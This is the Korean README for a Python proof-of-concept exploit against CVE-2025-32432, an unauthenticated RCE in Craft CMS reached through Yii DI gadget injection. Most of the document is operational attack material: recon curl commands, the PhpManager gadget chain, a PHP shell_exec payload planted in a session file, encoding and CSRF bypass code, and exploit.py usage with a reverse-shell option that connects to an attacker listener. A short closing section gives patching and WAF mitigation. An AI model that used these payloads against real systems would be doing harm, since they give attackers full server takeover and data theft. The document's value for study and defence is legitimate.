
CVE-2025-32432를 악용하는 Python PoC로, Yii DI 가젯 주입을 통한 Craft CMS의 인증되지 않은 RCE이며, assetId 스캐닝, 리버스 셸, 그리고 완화 지침을 포함합니다.
심각도: 치명적 (CVSS 10.0) 인증 필요: 없음 영향 받는 버전: Craft CMS 3.0.0-RC1 - 3.9.14, 4.0.0-RC1 - 4.14.14, 5.0.0-RC1 - 5.6.16 패치된 버전: Craft CMS 3.9.15 / 4.14.15 / 5.6.17, Yii2 2.0.50
익스플로잇하기 전에 대상이 취약한 버전의 Craft CMS를 실행 중인지 확인하십시오.
curl -s http://target/cms/index.php | grep -i craft
curl -s http://target/cms/web.config
curl -s http://target/cms/composer.json | python3 -m json.tool | grep craftcms
curl -s -o /dev/null -w "%{http_code}" \
-X POST http://target/cms/actions/assets/generate-transform \
-H "Content-Type: application/json" \
-d '{"assetId":1,"handle":{"width":1,"height":1}}'
python3 exploit.py -u http://target/cms -c "id"
출력에 uid=가 포함되면 대상이 취약한 것으로 확인되며 RCE가 달성된 것입니다.
AssetsController::actionGenerateTransform()은 allowAnonymous로 선언되어 있어 인증 없이 접근할 수 있습니다. 이 메서드는 사용자가 제어하는 handle 매개변수를 Yii::createObject()에 직접 전달합니다:
protected array|bool|int $allowAnonymous = ['generate-thumb', 'generate-transform'];
public function actionGenerateTransform(): Response
{
$handle = Craft::$app->getRequest()->getBodyParam('handle');
$transform = ImageTransforms::normalizeTransform($handle); // -> Yii::createObject($handle)
}
Yii의 DI 컨테이너는 허용 목록 없이 두 개의 특수 배열 키를 처리합니다:
| 키 | 동작 |
|---|---|
__class | 선언된 타입 대신 이 클래스를 인스턴스화 |
__construct() | 이 값들을 생성자 인수로 전달 |
가젯 체인:
handle[as x][__class] = yii\rbac\PhpManager
handle[as x][__construct()] = [{"itemFile": "/tmp/sess_<CraftSessionId>"}]
|
PhpManager::init() -> load() -> loadFromFile($itemFile) -> require $itemFile
세션 파일 포이즈닝이 루프를 완성합니다: PHP는 GET 매개변수를 /tmp/sess_<CraftSessionId>에 그대로 저장합니다. 여기에 <?=shell_exec($_GET['cmd']);exit;?>를 심으면 RCE가 가능합니다.
근본 문제: Python requests는 전송 전에 <, >, ?, =를 인코딩합니다. PHP의 세션 핸들러는 퍼센트 인코딩된 바이트를 저장하며, 이는 실행 가능한 PHP가 아닙니다.
GET /index.php?p=admin/dashboard&cve202532432=%3C%3F%3Dshell_exec%28%24_GET%5B%27cmd%27%5D%29%3Bexit%3B%3F%3E HTTP/1.1
# Session file stores:
returnUrl|s:107:"...&cve202532432=%3C%3F%3Dshell_exec%28%24_GET%5B%27cmd%27%5D%29%3Bexit%3B%3F%3E"
# PHP sees a plain string — no PHP tags — nothing executes.
GET /index.php?p=admin/dashboard&cve202532432=<?=shell_exec($_GET['cmd']);exit;?> HTTP/1.1
# Session file stores:
returnUrl|s:107:"...&cve202532432=<?=shell_exec($_GET['cmd']);exit;?>"
# When require()'d, PHP executes shell_exec and returns the output.
수정: HTTPConnectionPool._make_request — TCP 직전의 마지막 지점 — 을 몽키 패치하고 거기서 urllib.parse.unquote()를 호출합니다:
def _raw_request(self, conn, method, url, **kw):
url = urllib.parse.unquote(url) # restore < > ? = just before socket write
return self._orig_req(conn, method, url, **kw)
urllib3.connectionpool.HTTPConnectionPool._orig_req = urllib3.connectionpool.HTTPConnectionPool._make_request
urllib3.connectionpool.HTTPConnectionPool._make_request = _raw_request
표준: PHP의 기본 세션 쿠키는 PHPSESSID입니다. Craft CMS는 애플리케이션 설정에서 이를 재정의합니다:
// craft/config/app.php (Craft CMS source)
'session' => [
'class' => craft\web\Session::class,
'cookieName' => 'CraftSessionId', // <-- custom name, NOT PHPSESSID
],
즉, 디스크의 세션 파일은 /tmp/sess_<PHPSESSID>가 아니라 /tmp/sess_<CraftSessionId>입니다.
| 속성 | PHP 기본값 | Craft CMS |
|---|---|---|
| 쿠키 이름 | PHPSESSID | CraftSessionId |
| 세션 파일 | /tmp/sess_abc123 | /tmp/sess_abc123 |
| 읽는 방법 | session.cookies.get("PHPSESSID") | session.cookies.get("CraftSessionId") |
| 잘못된 경우 발생하는 일 | None 반환 | itemFile 경로가 존재하지 않는 파일을 가리킴 |
| 결과 | 익스플로잇이 조용히 실패 | 오류 없음 — require()가 그냥 실패 |
# BROKEN — reads PHPSESSID, gets None
session_id = session.cookies.get("PHPSESSID")
item_file = f"/tmp/sess_{session_id}" # -> "/tmp/sess_None" — does not exist
# FIXED — reads the actual Craft cookie
session_id = sess.cookies.get("CraftSessionId")
item_file = f"/tmp/sess_{session_id}" # -> "/tmp/sess_u8p2hn4kfgol9nbjkcvnv7ag6u"
올바른 쿠키 이름은 Craft 페이지를 방문한 후 브라우저 DevTools를 검사하거나 Set-Cookie 응답 헤더를 확인하여 검증할 수 있습니다:
curl -sI http://target/cms/index.php | grep -i set-cookie
# Set-Cookie: CraftSessionId=u8p2hn4kfgol9nbjkcvnv7ag6u; path=/; HttpOnly
Craft는 모든 비익명 POST 액션에서 CSRF 토큰을 검증합니다. 토큰을 생략하면 400 Bad Request가 발생합니다.
# BROKEN
requests.post(url, json=payload)
# FIXED — extract CRAFT_CSRF_TOKEN from login page HTML, send as header
requests.post(url, json=payload, headers={"X-CSRF-Token": csrf})
| 문제 | 로그 포이즈닝 PoC | 세션 (잘못된 쿠키) | 세션 (CSRF 없음) | 이 PoC |
|---|---|---|---|---|
| URL 인코딩 | N/A (User-Agent) | 고장 | 고장 | 수정됨 (몽키 패치) |
| 쿠키 이름 | N/A | 고장 PHPSESSID | 고장 PHPSESSID | 수정됨 CraftSessionId |
| 트리거 시 CSRF | OK | OK | 고장 | 수정됨 |
| 오래된 로그 exit; | 고장 | N/A | N/A | N/A |
| /cms 접두사에서 작동 | 고장 | 고장 | 고장 | 수정됨 |
usage: exploit.py [-h] -u URL [-c CMD] [-a ASSET_ID] [-s SCAN_MAX]
[--revshell] [--lhost LHOST] [--lport LPORT]
options:
-u URL Craft CMS base URL including path prefix
-c CMD Shell command to execute
-a ASSET_ID Known valid assetId (skips auto-scan)
-s SCAN_MAX Upper bound for assetId scan (default: 50)
--revshell Send a Python3 reverse shell
--lhost LHOST Listener IP (required with --revshell)
--lport LPORT Listener port (required with --revshell)
python3 exploit.py -u http://target:8088/cms -c "id"
python3 exploit.py -u http://target:8088/cms -c "cat /flag/flag.txt"
# Reverse shell (Python3 — avoids /dev/tcp and bash quoting issues)
nc -lvnp 4444
python3 exploit.py -u http://target:8088/cms --revshell --lhost 10.10.14.1 --lport 4444
| 조치 | 세부 사항 |
|---|---|
| Craft CMS 업그레이드 | 3.9.15 / 4.14.15 / 5.6.17은 handle이 ImageTransformerInterface를 구현하는지 검증 |
| Yii2 업그레이드 | 2.0.50은 Component::__set에서 __class 주입을 차단 |
| WAF 규칙 | /actions/assets/generate-transform으로 가는 요청 본문에서 __class 또는 __construct() 차단 |
| 브랜치 | 취약 | 패치됨 |
|---|---|---|
| 3.x | 3.0.0-RC1 – 3.9.14 | 3.9.15+ |
| 4.x | 4.0.0-RC1 – 4.14.14 | 4.14.15+ |
| 5.x | 5.0.0-RC1 – 5.6.16 | 5.6.17+ |
cd /var/www/craftapp
grep -rn 'allowAnonymous' vendor/craftcms/cms/src/controllers/AssetsController.php
grep -n 'function actionGenerateTransform' -A 20 vendor/craftcms/cms/src/controllers/AssetsController.php
actionGenerateTransform() 메서드는 allowAnonymous로 표시되어 있습니다 — 즉 인증 전에 실행됩니다. handle 매개변수는 클래스 허용 목록 없이 Yii::createObject()에 직접 전달되어 yii\rbac\PhpManager 가젯 체인을 가능하게 합니다.
# 1. Verify the package integrity
cd /opt/vendor-packages
sha256sum -c craftcms-cms-5.6.17.tar.gz.sha256
# 2. Inspect the diff against current install
tar xzf /opt/vendor-packages/craftcms-cms-5.6.17.tar.gz -C /tmp
diff -u vendor/craftcms/cms/src/controllers/AssetsController.php \
/tmp/craftcms-cms-5.6.17/src/controllers/AssetsController.php
# 3. Backup current version (rollback point)
cd /var/www/craftapp
cp -a vendor/craftcms/cms ~/cms-5.6.16.rollback
# 4. Swap in the patched version
rm -rf vendor/craftcms/cms
cp -a /tmp/craftcms-cms-5.6.17 vendor/craftcms/cms
# 5. Run migrations and reload
php craft up --interactive=0
sudo /opt/blue/bin/restart-app